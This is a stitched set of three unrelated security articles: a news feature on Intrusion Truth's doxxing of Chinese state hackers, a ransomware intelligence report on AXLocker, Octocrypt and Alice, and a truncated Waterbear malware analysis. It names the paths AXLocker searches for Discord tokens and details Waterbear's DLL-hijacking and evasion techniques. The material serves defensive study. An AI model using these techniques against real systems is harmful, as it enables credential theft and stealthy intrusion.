ruse, Intrusion Truth has made it a mission for the last five years to name and shame the actors, publishing more than two dozen blog posts doxxing the alleged hackers and the intelligence officers said to be directing their operations. They expose names, social media accounts, and even personal photos while documenting the investigative steps taken to unmask the perpetrators. They’ve also relentlessly mocked the targets for making simple mistakes that left a digital trail to their identity, such as using the same email address to both register servers used in hacking operations and to post family photos on social media. But the implications for those targeted by Intrusion Truth go beyond simply having their names exposed. In at least two cases, Chinese nationals identified by Intrusion Truth have been subsequently indicted by the U.S. Justice Department, creating the risk of arrest should they travel outside China. Proponents of the group’s work say Intrusion Truth’s revelations about Chinese hackers are valuable for countering China’s claim that it doesn’t engage in economic espionage. "I think it’s helpful…to have an organization…calling out Chinese…activity,” says Priscilla Moriuchi, a non-resident cybersecurity fellow at Harvard's Belfer Center who specializes in state-sponsored Asia Pacific hacking groups. “I think they have extremely solid analytic techniques, and they clearly have a lot of access to typical threat intelligence data and people who know what they’re doing. And largely, I think their reporting has been accurate.” Ciaran Martin, former CEO of the UK’s National Cyber Security Centre, believes it forces accountability on actors who are otherwise protected by their government. “So much of the harm we suffer is as a result of activity in countries where the people are in jurisdictions where we can't touch them,” he says. “And I think… specific attributions…to groups have made those groups sometimes feel uncomfortable—more in China and Iran than in Russia.” Outing anonymous hackers can have a tactical effect, he says, by eroding trust within the hacking groups. If members can’t rely on one another to not make basic mistakes that could get them all caught—and potentially elicit anger from Chinese officials—it creates mistrust and tension. “[I]t applies tactical pressure to them,” he says. “If it can prove to be tactically useful then why not do it?” But there are ethical questions around doxxing people in China who haven’t been charged with a crime. Although some of the Chinese nationals Intrusion Truth exposed have been indicted, others have not—nor have they been sanctioned by the U.S. government. There are also questions about some of the sources and methods the group uses to uncover identities. Most of the information they rely on is publicly available, but some of it is not. The group, for example, obtained credit card statements from an unnamed Bank of China source to identify one person, and they obtained Uber receipts to show another person commuting to and from an MSS building, appearing to confirm his work for the agency. Intrusion Truth didn’t say how the group obtained the receipts. And there are concerns that publicly exposing another country’s state-sponsored hackers could prompt China to do the same with U.S. hackers working for the CIA, the National Security Agency, or U.S. Cyber Command. “I find it troubling because it seems uncontrolled when we start getting into the doxxing of operations and even operators, which starts hitting close to home,” says Joe Slowik, who leads threat intelligence operations for the security firm Gigamon and is a former information warfare officer in the U.S. Navy. “There’s always the question of where are the boundaries? It also leads to the potential of doxxing the wrong person, which makes me very uncomfortable.” Moriuchi, who used to work for the NSA, says mistakes the Chinese hackers make that allow them to be identified aren’t the kinds of mistakes NSA hackers make, but this doesn’t mean there isn’t a risk for U.S. government hackers. “We don't have anyone at the NSA registering domains under their real name or phone number,” she said. “But is there information on people, on NSA operators, that could be used against them? Without a doubt.” Intrusion Truth acknowledges there are risks that China could start hunting and exposing Western hackers in retaliation, but says the benefits outweigh this. “Intrusion Truth’s primary goal is to expose the whole truth of Chinese state-sponsored hacking. We understand people might have a number of different concerns about what we do and how far we go,” a person representing the group wrote in an email interview with Zero Day. “But it is important for us and our community that we stick to that primary objective. We can’t let state-sponsored Chinese hackers act with impunity.” Zero Day examined the work Intrusion Truth has done over the last five years to analyze its methods and spoke with a dozen security experts about the pros and cons of exposing nation-state hackers and the effect, if any, it has had on curbing China’s theft of trade secrets. ## Who Is Behind Intrusion Truth? Ever since Intrusion Truth launched, there has been speculation about who is behind the group. Some think it’s composed of rogue threat intelligence analysts working for security firms, who are frustrated by company policies that prohibit them from publicly identifying Chinese hackers under the company’s name. Others think the group is a security company in the U.S. or Europe publishing anonymously to avoid retaliation from China. (Intrusion Truth uses British spelling in blog posts, but this could be an affectation to misdirect suspicion about who is behind the operation.) Still others think the group is a cutout for a Western government. The timing of indictments following revelations made by Intrusion Truth raises questions about the group’s possible connections to the Justice Department as well as motivations for the group’s work: Does Intrusion Truth coordinate with U.S. prosecutors on the indictments? Does the government use Intrusion Truth to publicly out individuals for which there isn’t enough evidence to indict? Intrusion Truth told Zero Day that the group is composed of and consults “a global network of anonymous contributors” from a variety of backgrounds whose identities are sometimes unknown even to each other. “[W]e don’t always know their real-life identity, sometimes just their online persona,” the group said in an email. This doesn’t preclude that Intrusion Truth is a single individual who solicits help from a loose network of experts or that this person or members of the network are affiliated with, or collaborate with, a Western government. Mei Danowski, a threat analyst who has followed Intrusion Truth’s work closely, told Zero Day she thinks the group may be engaging in parallel construction—where an intelligence agency obtains information through classified means and passes it to another entity to build a trail to the same information using public, non-classified sources to keep the classified methods and sources secret. Danowski believes someone may be providing Intrusion Truth with the names of the Chinese hackers and tasking them with building a public trail to those identities so the Justice Department can indict them. Asked about coordination with the government, Intrusion Truth initially replied obliquely: “We know the impact of Intrusion Truth is real. It is not surprising to us that governments are interested in our work and read what we have to say.” But the person responding on behalf of the group appeared to deny parallel construction in a follow-up response, writing that the “Intrusion Truth community guides and informs all the work we do, including what Chinese hackers we go after.” ## Exposing APT 3 Hackers Intrusion Truth says they were first inspired to publicly out Chinese hackers by the work of an anonymous cybercrime blogger named Cyb3rsleuth, who was partly responsible in 2013 for exposing an assistant professor at China’s PLA Engineering University—reportedly a training center for electronic intelligence—for allegedly being a spy. Cyb3rSleuth claimed in an interview with Bloomberg at the time that he was 33 years old and the operator of “an India-based computer intelligence company.” He stopped publishing his blog in January 2016, about a year before Intrusion Truth launched their project. Intrusion Truth’s work debuted in the spring of 2017 in what appeared to be a response to a news article published by the Washington Free Beacon months earlier. The Free Beacon’s November 2016 story revealed that an internal Pentagon intelligence report had identified the Guangzhou Bo Yu Information Technology Company in China—also known as Boyusec—as a contractor or front company for the MSS. Boyusec, together with Chinese tech giant Huawei, produced security systems for telecom networks that the Pentagon suspected were embedded with backdoors for the MSS to siphon traffic, according to the Free Beacon. Curious about the company, Intrusion Truth began investigating it and found that two of Boyusec’s top shareholders had registered domains used for command-and-control servers in APT 3 hacking operations. APT stands for Advanced Persistent Threat and refers to hacking groups, generally state-sponsored, with advanced skills. To distinguish groups, security researchers number them APT 1, APT 2, etc. APT 3, also known as Gothic Panda and Buckeye in the security community, has been active since 2010 and is accused, among other things, of breaking into tech, aerospace, defense, and telecom companies in the U.S. and U.K. It’s also, according to Intrusion Truth, an arm of the MSS intelligence agency. When the group published their first blog posts in May 2017 identifying the two shareholders—Wu Yingzhuo and Dong Hao—and their connection to APT 3, the reaction was immediate. Boyusec’s website went offline, and a week later the security firm Recorded Future published its own blog post corroborating the findings with additional information about Boyusec’s connection to the MSS and APT 3. Moriuchi, who worked for Recorded Future at the time, was behind the company’s blog post. She had just joined the company and told Zero Day she had been preparing to publish her own findings about APT 3’s connections to the MSS when Intrusion Truth trumped her. “They had a different set of data, [but] I thought, whoa, this is awesome…. I kind of had another side to what they were doing,” she said. The timing of Recorded Future’s post made some people in the security community suspect Moriuchi or Recorded Future were behind Intrusion Truth. But Moriuchi denies this. “It’s not me. I don’t know who it is,” Moriuchi told Zero Day, adding that whoever is behind the group “is highly skilled and has a breadth of skills that are not typically resident in one person.” An analyst who currently works for Recorded Future but who asked to remain anonymous to speak freely about the issue said neither he nor anyone he knows at Recorded Future has worked with Intrusion Truth. The revelation from Intrusion Truth marked the first time an APT group was conclusively linked to the MSS. Previously, China’s state-sponsored hacking operations were attributed primarily to the People’s Liberation Army. But in late 2015, after Obama called out President Jinping Xi for China’s economic espionage and the two reached an “understanding” about the activity, security firms reported seeing a drop in such operations from China. In reality, they had simply shifted to the MSS, which took some time to build up infrastructure for the operations. By the time President Trump took office in 2017, China had reportedly resumed and even accelerated its intellectual property theft. Six months after Intrusion Truth exposed the Boyusec shareholders, the U.S. Justice Department announced charges against the two men, along with a third colleague, Xia Lei. It was the first indictment of Chinese state hackers since 2014, when DoJ had last indicted members of the PLA. The three Boyusec associates were charged with computer hacking and theft of trade secrets for allegedly breaching the email account of a prominent economist with Moody’s Analytics in 2011; for hacking and stealing about 400 gigabytes of data from Siemens energy, technology, and transportation divisions in 2015; and for hacking the GPS firm Trimble in 2015 and 2016 to steal information about a product Trimble was developing for mobile devices. About a week before the Justice Department announced its charges, Boyusec was de-registered from a Chinese government-run database, suggesting the company had been dissolved. "Boyusec disappeared into the shadows without making any effort to contact us or to refute any of the conclusions of our analysis," Intrusion Truth wrote at the time. “These were not the actions of innocent individuals.” It was proof, Intrusion Truth said, that “one of the biggest hacking threats to Western companies” could be “completely silenced by shining a light on its activities and exposing the identities of those behind the group to the world.” But Danowski, who gave a presentation about Intrusion Truth last year at the Cyberwarcon conference in Washington, DC, expresses doubt that Boyusec disappeared altogether. She told Zero Day that she found job advertisements for the company in February 2018, two months after the indictments, and believes the company may have simply begun to keep a lower profile. ## Take Two: Exposing APT 10 Intrusion Truth went silent for a year after its reports about APT 3. When the group published again in August 2018, it was to expose individuals and companies involved in a different Chinese hacking group, APT 10. APT 10 has been blamed for Operation Cloud Hopper, a series of intrusions into more than 45 tech companies and IT managed service providers, and for stealing hundreds of gigabytes of sensitive data across multiple industries—tech, aviation, space and satellite, manufacturing, pharmaceutical, oil and gas, and communications. Intrusion Truth connected APT 10 to a regional office of the MSS in Tianjin and to three Chinese nationals—Zheng Yanbin, Gao Qiang, and Zhang Shilong. Zhang, they said, worked for a shell company in Tianjin called Huaying Haitai Science and Technology Development that conducted the APT 10 hacking operations. Four months after identifying the men, the Justice Department indicted Zhang, citing his connection to Huaying Haitai, and two years later, the European Union announced sanctions against Gao Qiang, Zhang Shilong, and Huaying Haitai—the first EU sanctions for cyber-espionage. Intrusion Truth’s posts since then have exposed other APT groups and have also revealed a distinct pattern in how the MSS operates. The spy agency first tasks a regional MSS office in places like Tianjin and Guangdong with forming shell companies or co-opting existing tech or security firms. Then the companies recruit civilian hackers, usually from local universities. Often the shell companies are easy to spot because they have little presence on the internet and share the same contact information or office address in job listings. One company apparently used a computer security professor—a former member of the PLA according to Intrusion Truth—to recruit hackers and acquire new tools and techniques. Someone claiming to be a student of the professor wrote online that the teacher was looking to pay the equivalent of $30,000-$76,000 to anyone with innovative ways to crack passwords. “Believe it or not,” the student wrote, “our teacher has a lot of money.” In shifting hacking operations from the PLA to the MSS, China might have thought it gained plausible deniability for its operations, but it also learned that there are potential drawbacks to using civilian hackers for state-run operations: they can be less disciplined and controllable than military-trained hackers and may engage in the occasional side hustle. According to a DoJ indictment, Gao Li allegedly attempted to extort one espionage victim in 2017, demanding $15,000 in cryptocurrency to not leak data stolen from them. Intrusion Truth also says members of another group, APT 17, allegedly circulated a price list in hacker forums for data it swiped from Western and China-based hacking targets. Some APT groups have even re-used state-sponsored malware to steal virtual currencies and tokens in video games. But the biggest drawback to using civilian hackers might be their lack of commitment to separating work life from personal life. Intrusion Truth was able to identify many of the APT hackers because of their re-use of email addresses for professional and personal purposes. An MSS officer named Zhao Jianfei was identified because he sent zero-day exploits to two indicted hackers using the same email address he used to receive credit card statements from the Bank of China. He also used a variation of that email address as his username on Facebook, according to Intrusion Truth. ## On the Hunt Intrusion Truth’s investigations begin in a number of ways but usually start with a tip from a reader or with an email address published in reports written by security firms. “We receive tips on a weekly basis from around the world on Chinese cyber activity and the actors suspected of being behind it,” the group says. The group then uses a variety of methods to track targets, including sifting through data stolen from Chinese companies and leaked online. A leak of usernames from the Tencent Weibo QQ instant messaging service aided a couple of investigations, and in another case, a handy list of public toilets helped them identify the address of an intelligence agency office in Hainan. “[T]he Chinese internet is huge and awash with lots of information which can help our investigations,” Intrusion Truth told Zero Day. “Accessing it is easier than most people think. The more you dig behind the Chinese firewall, the more you find.” Intrusion Truth, or a member of its network, appears to be fluent in Mandarin and has a practiced ability to dig deeply into Chinese-language university sites, hacking forums, and social media accounts to uncover resumes, academic papers, wedding photos, email addresses, and online aliases. But although most of the information Intrusion Truth uses is open source, some evidence appears to come from non-public sources. In one case, they were able to determine that two individuals working for different companies were associates after a “source with access to such information” provided information revealing the two men had sat next to each other on three flights in 2016. In another case, they obtained Uber receipts purporting to show their target commuting to and from an MSS building. The investigation began with an email address—[email protected]—that had been used to register domains for APT 10 operations. Intrusion Truth pulled threads for a year collaborating with unnamed threat intelligence analysts, which led them to identify three individuals—Gao Qiang, Zheng Yanbin, and Zhang Shilong. They were able to connect Gao Qiang to the MSS through the Uber receipts. One receipt, for a user named “Qiang,” showed the rider traveling from the headquarters of the Tianjin State Security Bureau—an arm of the MSS—to a residential neighborhood. A second Uber receipt showed the same user, named Pig this time but using the same email address, traveling repeatedly between the two locations. Research into the identity of a different MSS officer was aided by credit card statements that Intrusion Truth says came from a source connected to the Bank of China. The investigation began when the Justice Department indicted two Chinese hackers in July 2020 for allegedly stealing hundreds of millions of dollars in intellectual property from companies, including ones conducting COVID-19 research and testing. The Justice Department mentioned an intelligence officer—MSS Officer 1—who it said was affiliated with the Guangdong State Security Department (GSSD), a branch of the MSS in Guangdong. Intrusion Truth set out to identify the officer using two clues: the address for a research facility that the indictment said was a shell company for the GSSD, and an email address used by MSS Officer 1 to send zero-day exploits to the two indicted hackers. The second half of the email address was redacted in an FBI alert, but it began with “asls1027”. Intrusion Truth used the address for the research facility on Upper Nonglin Road in Guangdong, so they asked their network of contributors for anything related to the address. A “trusted source with connections to the Bank of China” produced credit card statements that were purportedly sent by the bank to a person named Zhao Jianfei at the research facility’s address. A second bank statement was emailed to [email protected]. In another investigation that also began with an email address—[email protected]—Intrusion Truth was able to connect the address to Ding Xiaoyang, an intelligence officer overseeing APT 40 operations, after someone in its network of collaborators accessed a frequent flyer account tied to that email. The email address had evidently been among stolen credentials that hackers had leaked online, and Intrusion Truth’s collaborator evidently used the credential to gain unauthorized access to Ding's account and learn his name. Intrusion Truth taunted Ding in their post. "Our thanks…go out to Mr Ding for not changing his password after it had been leaked online.” Intrusion Truth isn’t clear about who gained access to the account, but ordinarily this would be illegal in the U.S. if not done by law enforcement, and it’s generally not condoned by the security community. “We are bound by U.S. laws,” says Ben Read, director of cyber-espionage analysis at the security firm Mandiant, who says his company would not access accounts using leaked credentials. But he says others in the community might consider this “a gray area.” Critics say that without oversight, there's a risk that Intrusion Truth could identify the wrong person. But the group said it takes care to corroborate tips supplied to it and to get the facts right. “We are rigorous in our verification of information,” the spokesperson wrote in an email. “We always publish in good conscience, knowing that we have tried our best to make sure we are revealing ‘the whole truth.’” The person also pointed out that their work “is often independently corroborated by other threat hunters” after they publish their findings, such as Recorded Future did in 2017. But there are questions about whether such corroborations are truly independent. The Intrusion Truth spokesperson noted that some of the people who assist with the group’s investigations are anonymous. It’s possible then that some of these people also work for companies that have subsequently corroborated Intrusion Truth’s findings, making it only appear that the companies reached the same conclusion about a hacker’s identity independent from Intrusion Truth. ## How Effective is Intrusion Truth’s Work? Little happens to China-based hackers who get publicly identified. Those who are sanctioned might suffer financial setbacks, and those who are indicted might feel restrictions against travel, but as long as they don’t travel to or through countries with extradition agreements with the U.S., they don’t have to worry about being nabbed by law enforcement. Whether simply naming and shaming hackers is effective is open to debate. A former U.S. national security official, who asked to remain anonymous to speak freely about the issue, said there’s value in outing people who aren’t indicted. “You may not have enough evidence to bring charges, but you want to undermine their ability to operate—in the same way you kick spies out of the U.S.,” he told Zero Day. “We do that publicly to embarrass the other nation and to call out that we know who your spies are.” The Recorded Future analyst who asked to remain anonymous says the revelations are valuable because they get people talking about the problem of economic espionage. He also says he has learned information from Intrusion Truth that he didn’t know before. “We certainly have used it to our advantage to help identify and track some activity,” he says. But Mandiant’s Read says that while the information can contribute to a big-picture understanding of the threats, it doesn’t really help security teams defend networks, and it’s not going to stop hackers in China from stealing intellectual property. It does, however, put them on notice that they might get caught “and people will know” what they did, he notes. This, at the very least, can impose cost on them—that is, force them to expend more effort to conceal their identity. Dmitri Alperovitch, co-founder and chairman of Silverado Policy Accelerator, says the shock of being publicly outed used to be more effective years ago when he did it with a member of a Chinese hacking group called Night Dragon in 2011 while working as vice president of threat research for the security firm McAfee. But it’s become less effective over time. Alperovitch didn’t name the person in China in 2011, but he did name the city where the person was based and revealed that he owned a hosting company. He also quoted a line from the company's marketing literature that would have left the owner little doubt that the description was referring to him. “When [these exposures first occurred] the adversaries were not expecting them, and they were in huge shock,” he says. “I think it did have an effect of ‘Oh my god, somehow they discovered us. But I think as they’ve seen over the years that nothing really happens to them [after being exposed], it becomes probably more of a badge of honor.” Nonetheless, there could be value in making state-sponsored hackers think twice about their ability to travel freely outside China. And the exposure of one hacker can potentially lead others to make different life choices. “Chinese hackers do have a choice about their occupation,” Intrusion Truth notes. “There is a booming tech industry in China—and around the world—where these hackers could really put their skills to better use.” The group says it has no plans to slow down and is already lining up new revelations to release this year. “[W]e’re currently working collaboratively with a couple of members of our community on an investigation to try and identify a long-standing Chinese hacker…. We will see how successful we are.”
# AXLocker, Octocrypt, and Alice: Leading a New Wave of Ransomware Campaigns **November 18, 2022** Ransomware is one of the most critical cybersecurity problems on the internet and possibly the most powerful form of cybercrime plaguing organizations today. It has rapidly become one of the most important and profitable malware families among Threat Actors (TAs). In a typical scenario, the ransomware infection starts with the TA gaining access to the target system. Depending on the type of ransomware, it can infect the entire operating system or encrypt individual files. The TAs will then typically demand payment from the victim for the decryption of their files. While organizations are protecting themselves from ransomware attacks, new ransomware groups are also emerging proportionally every year. New ransomware groups are evolving by expanding the scope of their operations for financial gain. Multiple new ransomware groups have emerged recently, highlighting the widespread adoption of ransomware attacks by TAs for monetary growth. Cyble Research and Intelligence Labs (CRIL) came across three new ransomware families: AXLocker, Octocrypt, and Alice Ransomware. ## AXLocker Ransomware Ransomware operators now have one newer tool, named AXLocker, which can encrypt several file types and make them completely unusable. Additionally, the ransomware steals Discord tokens from the victim’s machine and sends them to the server. Later, a ransom note is displayed on the victim’s system to get the decryption tool used for recovering the encrypted files. ### Technical Analysis We have taken the following sample hash for our analysis: (SHA256) c8e3c547e22ae37f9eeb37a1efd28de2bae0bfae67ce3798da9592f8579d433c, which is a 32-bit GUI-based .NET binary executable targeting Windows operating systems. Upon execution, the ransomware hides itself by modifying the file attributes and calls the `startencryption()` function to encrypt files. The `startencryption()` function contains code to search files by enumerating the available directories in the C:\ drive. It looks for specific file extensions to encrypt and excludes a list of directories from the encryption process. After that, the ransomware calls the `ProcessFile` function, which further executes an `EncryptFile` function with the fileName as an argument to encrypt the victim’s system files. This ransomware uses the AES encryption algorithm to encrypt files. We observed that the ransomware does not change the file name or extension after the encryption. After encrypting the victim’s files, the ransomware collects and sends sensitive information such as Computer name, Username, Machine IP address, System UUID, and Discord tokens to TA. For stealing Discord tokens, the malware targets the following directories: - Discord\Local Storage\leveldb - discordcanary\Local Storage\leveldb - discordptb\leveldb - Opera Software\Opera Stable\Local Storage\leveldb - Google\Chrome\User Data\Default\Local Storage\leveldb - BraveSoftware\Brave-Browser\User Data\Default\Local Storage\leveldb - Yandex\YandexBrowser\User Data\Default\Local Storage\leveldb It uses regex to find the Discord tokens in the local storage files and saves them in the list, then sends them to the Discord server along with other information. Finally, the AXLocker ransomware shows a pop-up window that contains a ransom note that gives instructions to victims on contacting the TAs to restore their encrypted files. ## Octocrypt Ransomware Octocrypt is a new ransomware strain that targets all Windows versions. The ransomware builder, encryptor, and decryptor are written in Golang. The TAs behind Octocrypt operate under the Ransomware-as-a-Service (RaaS) business model and surfaced on cybercrime forums around October 2022 for USD400. The Octocrypt ransomware has a simple web interface for building the encryptor and decryptor, and the web panel also displays the infected victim’s details. The Octocrypt web panel builder interface allows TAs to generate ransomware binary executables by entering options such as API URL, Crypto address, Crypto amount, and Contact email address. TAs can download the generated payload file by clicking the URL provided in the web panel under payload details. ### Technical Details The sample hash (SHA256) 9a557b61005dded36d92a2f4dafdfe9da66506ed8e2af1c851db57d8914c4344 was taken for this analysis. Based on static analysis, we found that the ransomware is a console-based 64-bit GoLang binary executable. Upon execution, the ransomware initially ensures the system’s internet connection and then checks the TCP connection to access the API URL. After that, the malware starts the encryption process by enumerating the directories and encrypts the victim’s files using the AES-256-CTR algorithm, appending the extension as “.octo”. Then, the ransomware drops the ransom note in multiple folders with the file name “INSTRUCTIONS.html”. Finally, the ransomware changes the victim’s wallpaper which displays a message that threatens the victim to send a ransom amount to a specific Monero wallet address. ## Alice Ransomware One more new ransomware dubbed “Alice” also appeared on cybercrime forums under the TAs project of “Alice in the Land of Malware”. The Alice ransomware also works under the Ransomware-as-a-Service (RaaS) business model. The Indicators of Compromise of this ransomware strain are unavailable in the wild. The TA sells this Alice ransomware builder for the prices listed below. As specified by the developer on the forum, the functionality and advantages of Alice ransomware include the ability to generate ransomware binary files with a customized ransom note. After entering the ransom message and clicking the “New Build” button in the builder, it will generate two executable files named “Encryptor.exe” and “Decryptor.exe”. Successful execution of Alice ransomware encrypts the victim’s files and appends the extension as “.alice”. Also, the malware drops ransom notes named “How to Restore Your Files.txt” in multiple folders. ## Conclusion Ransomware groups continue to pose a serious risk to firms, individuals, and even entire governments, as we recently observed in the case of Costa Rica. The victims are at risk of losing valuable data as a result of such attacks, resulting in financial and productivity loss. In extreme cases, compromising government and law enforcement credentials can even result in cyberwarfare with grave implications for national security and diplomatic relations. CRIL has also observed a considerable increase in cybercrime through Telegram channels and cybercrime forums where TAs sell their products without any regulation. TAs are increasingly attempting to maintain a low profile to avoid drawing the attention of Law Enforcement agencies. Enterprises need to stay ahead of the techniques used by TAs and implement the requisite security best practices and security controls, or they will become the victims of increasingly sophisticated and aggressive ransomware. Regularly monitoring the dark web and acting upon early warning indicators such as compromised credentials, accesses, and identifying vulnerabilities traded on cybercrime forums can forewarn enterprises of potential threats and allows them to take corrective action based on real-time, actionable threat intel. CRIL continuously monitors new ransomware campaigns and will keep our readers updated. ## Our Recommendations We have listed some of the essential cybersecurity best practices that create the first line of control against attackers. We recommend that our readers follow the best practices given below: ### Safety Measures Needed to Prevent Ransomware Attacks - Conduct regular backup practices and keep those backups offline or in a separate network. - Turn on the automatic software update feature on your computer, mobile, and other connected devices wherever possible and pragmatic. - Use a reputed anti-virus and Internet security software package on your connected devices, including PC, laptop, and mobile. - Refrain from opening untrusted links and email attachments without verifying their authenticity. ### Users Should Take the Following Steps After the Ransomware Attack - Detach infected devices on the same network. - Disconnect external storage devices if connected. - Inspect system logs for suspicious events. ### Impact and Cruciality of Ransomware - Loss of valuable data. - Loss of the organization’s reputation and integrity. - Loss of the organization’s sensitive business information. - Disruption in organization operation. - Financial loss. ### MITRE ATT&CK® Techniques | Tactic | Technique ID | Technique Name | |---------------------------|--------------|-----------------------------------------| | Execution | T1204 | User Execution | | | T1059 | Command and Scripting Interpreter | | | T1047 | Windows Management Instrumentation | | Persistence | T1547.001 | Registry Run Keys / Startup Folder | | | T1053 | Scheduled Task/Job | | Defense Evasion | T1497 | Virtualization/Sandbox Evasion | | Credential Access | T1528 | Steal Application Access Token | | Discovery | T1087 | Account Discovery | | | T1082 | System Information Discovery | | | T1083 | File and Directory Discovery | | Impact | T1486 | Data Encrypted for Impact | | Command and Control | T1071 | Application Layer Protocol | | Exfiltration | T1020 | Automated Exfiltration | ### Indicators of Compromise | Indicators | Indicator Type | |---------------------------------------------------------------------------|----------------| | ab2c19f4c79bc7a2527ab4df85c69559 | MD5 | | 60a692c6eaf34a042717f54dbec4372848d7a3e3 | SHA-1 | | d51297c4525a9ce3127500059de3596417d031916eb9a52b737a62fb159f61e0 | SHA256 | | 07563c3b4988c221314fdab4b0500d2f | MD5 | | a5f53c9b0f7956790248607e4122db18ba2b8bd9 | SHA-1 | | 0225a30270e5361e410453d4fb0501eb759612f6048ad43591b559d835720224 | SHA256 | | a18ac3bfb1be7773182e1367c53ec854 | MD5 | | c3d5c1f5ece8f0cf498d4812f981116ad7667286 | SHA-1 | | c8e3c547e22ae37f9eeb37a1efd28de2bae0bfae67ce3798da9592f8579d433c | SHA256 | | 9be47a6394a32e371869298cdf4bdd56 | MD5 | | ca349c0ddd6cda3a53ada634c3c1e1d6f494da8a | SHA-1 | | 9e95fcf79fac246ebb5ded254449126b7dd9ab7c26bc3238814eafb1b61ffd7a | SHA256 | | ad1c2d9a87ebc01fa187f2f44d9a977c | MD5 | | 03d871509a7369f5622e9ba0e21a14a7e813536d | SHA-1 | | d9793c24290599662adc4c9cba98a192207d9c5a18360f3a642bd9c07ef70d57 | SHA256 | | 346e7a626d27f9119b795c889881ed3d | MD5 | | ce25203215f689451a2abb52d24216aec153925a | SHA-1 | | 9a557b61005dded36d92a2f4dafdfe9da66506ed8e2af1c851db57d8914c4344 | SHA256 | | 5a39a2c4f00c44e727c3a66e3d5948c2 | MD5 | | 07e7341b86ace9935c4f1062d41a94f3b31f9bf6 | SHA-1 | | 65ad38f05ec60cabdbac516d8b0e6447951a65ca698ca2046c50758c3fd0608b | SHA256 | | 2afdbca6a8627803b377adc19ef1467d | MD5 | | 13a0ce1c3ac688c55ba3f7b57fb6c09ad0e70565 | SHA-1 | | e65e3dd30f250fb1d67edaa36bde0fda7ba3f2d36f4628f77dc9c4e766ee8b32 | SHA256 |
# Waterbear Returns, Uses API Hooking to Evade Security Waterbear, which has been around for several years, is a campaign that uses modular malware capable of including additional functions remotely. It is associated with the cyberespionage group BlackTech, which mainly targets technology companies and government agencies in East Asia (specifically Taiwan, and in some instances, Japan and Hong Kong) and is responsible for some infamous campaigns such as PLEAD and Shrouded Crossbow. In previous campaigns, we’ve seen Waterbear primarily being used for lateral movement, decrypting and triggering payloads with its loader component. In most cases, the payloads are backdoors that are able to receive and load additional modules. However, in one of its recent campaigns, we’ve discovered a piece of Waterbear payload with a brand-new purpose: hiding its network behaviors from a specific security product by API hooking techniques. In our analysis, we have discovered that the security vendor is APAC-based, which is consistent with BlackTech’s targeted countries. Knowing which specific APIs to hook might mean that the attackers are familiar with how certain security products gather information on their clients' endpoints and networks. And since the API hooking shellcode adopts a generic approach, a similar code snippet might be used to target other products in the future and make Waterbear harder to detect. ## A closer look at Waterbear Waterbear employs a modular approach to its malware. It utilizes a DLL loader to decrypt and execute an RC4-encrypted payload. Typically, the payload is the first-stage backdoor which receives and loads other executables from external attackers. These first-stage backdoors can be divided into two types: First, to connect to a command-and-control (C&C) server, and second, to listen in on a specific port. Sometimes, the hardcoded file paths of the encrypted payloads are not under Windows native directories (e.g., under security products or third-party libraries' directories), which may indicate that the attackers might have prior knowledge of their targets' environments. It is also possible that the attackers use Waterbear as a secondary payload to help maintain presence after gaining some levels of access to the targets’ systems. The evidence is that Waterbear frequently uses internal IPs as its own C&C servers (for instance, b9f3a3b9452a396c3ba0ce4a644dd2b7f494905e820e7b1c6dca2fdcce069361 uses an internal IP address of 10.0.0.211 as its C&C server). ## The typical Waterbear infection chain A Waterbear infection starts from a malicious DLL loader. We have seen two techniques of DLL loader triggering. One is modifying a legitimate server application to import and load the malicious DLL loader, while the second technique is performing phantom DLL hijacking and DLL side loading. Some Windows services try to load external DLLs with hardcoded DLL names or paths during boot-up. However, if the DLL is a legacy DLL (i.e., one that is no longer supported by Windows) or a third-party DLL (i.e., one that is not part of the original Windows system DLLs), attackers can give their malicious DLL a hardcoded DLL name and place it under one of the searched directories during the DLL loading process. After the malicious DLL is loaded, it will gain the same permission level as the service that loads it. During our recent Waterbear investigation, we discovered that the DLL loader loaded two payloads. The payloads performed functionalities we have never seen in other Waterbear campaigns. The first payload injects code into a specific security product to hide the campaign’s backdoor. The second payload is a typical Waterbear first-stage backdoor, which we will attempt to dissect first based on a specific case we observed during our analysis. ## Waterbear’s first-stage backdoor We saw a Waterbear loader named "ociw32.dll" inside one of the folders in the %PATH% environmental variable. This DLL name is hardcoded inside "mtxoci.dll" which is loaded by the MSDTC service during boot-up. “mtxoci.dll” first tries to query the registry key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI" to see if the value "OracleOciLib" exists. If so, it retrieves the data inside it and loads the corresponding library. If the value doesn't exist, “mtxoci.dll” tries to load "ociw32.dll" instead. During our investigation, we noticed that the value "OracleOciLib" was deleted from the victim's machine. Hence, the malicious loader "ociw32.dll" was loaded and successfully executed on the host. After the Waterbear DLL loader is executed, it searches for a hardcoded path and tries to decrypt the corresponding payload, which is a piece of encrypted shellcode. The decryption algorithm is RC4, which takes the hardcoded path to form the decryption key. If the decrypted payload is valid, it picks a specific existing Windows Service — LanmanServer, which is run by svchost.exe — and injects the decrypted shellcode into the legitimate service. In most cases, the payload is a first-stage backdoor, and its main purpose is to retrieve second-stage payloads — either by connecting to a C&C server or opening a port to wait for external connections and load incoming executables. ## Configuration of the first-stage backdoor Waterbear’s first-stage backdoor configuration contains the information required for the proper execution of and communication with external entities. - Offset 0x00, Size 0x10: Encryption/decryption key for the functions - Offset 0x10, Size 0x04: 0x0BB8 (reserved) - Offset 0x14, Size 0x10: Version (e.g., 0.13, 0.14, 0.16, and so on) - Offset 0x24, Size 0x10: Mutex or reserved bytes - Offset 0x34, Size 0x78: C&C server address which is XOR-encrypted by key 0xFF. If the backdoor is intended to listen in on a specific port, this section will be filled with 0x00. - Offset 0xAC, Size 0x02: Port - Offset 0xAE, Size 0x5A: Reserved bytes - Table: The function address table of the payload. The block is initially filled with 0x00 and will be propagated during runtime. - Table: The sizes of functions - Table: The API address table. The block is initially filled with 0x00 and will be filled with loaded API addresses during runtime. - Table: The API hashes for dynamic API loading - A list of DLL names and the number of APIs to be loaded ## Anti-memory scanning of shellcode payload In order to avoid in-memory scanning during runtime, the payload encrypts all of the function blocks before executing the actual malicious routine. Afterwards, whenever it needs to use a function, it will decrypt the function, execute it, and encrypt the function back again. If a function will not be used on the rest of the execution, it will be scrambled by another mess-up function. The mess-up function muddles up the bytes with random values and makes the input blocks unrecoverable. The purpose of this is to further avoid being detected by a certain cybersecurity solution. ## Same Waterbear, different story During our investigation, we found a peculiar incident that stands out from most of the Waterbear infections we’ve previously seen. This time, the DLL loader loaded two payloads – the first payload performed functionalities we have not seen before: It injected codes into a specific security product to do API hooking in order to hide the backdoor from the product. Meanwhile, the second payload is a typical Waterbear first-stage backdoor. Both payloads were encrypted and stored on the victim’s disk and were 